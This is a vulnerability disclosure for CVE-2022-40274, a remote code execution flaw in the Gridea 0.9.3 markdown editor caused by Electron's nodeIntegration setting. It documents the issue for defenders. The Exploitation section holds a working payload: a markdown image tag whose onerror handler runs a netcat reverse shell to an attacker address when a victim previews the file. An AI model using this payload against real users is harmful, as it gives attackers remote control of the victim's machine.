Gridea 0.9.3 - RCE via nodeIntegration feature

Description

Gridea version 0.9.3 allows an external attacker to execute arbitrary code remotely on any client attempting to view a malicious markdown file through Gridea. This is possible because the application has the nodeIntegration option enabled.

Vulnerability

This vulnerability occurs because the application has the nodeIntegration option enabled. Due to the above, an attacker can embed malicious JS code in a markdown file and send it to the victim for viewing to achieve an RCE.

Exploitation

To exploit this vulnerability, you must send the following file to a user to open with Gridea. The exploit is triggered when the user presses CTRL+P or simply clicks preview.

exploit.md

<img src=1 onerror="require('child_process').exec('nc 192.168.20.38 4444 -e /bin/bash');"/>

Evidence of exploitation

Our security policy

We have reserved the CVE-2022-40274 to refer to this issue from now on. Disclosure policy

System Information

• Version: Gridea 0.9.3

• Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

• Vendor page https://github.com/getgridea/gridea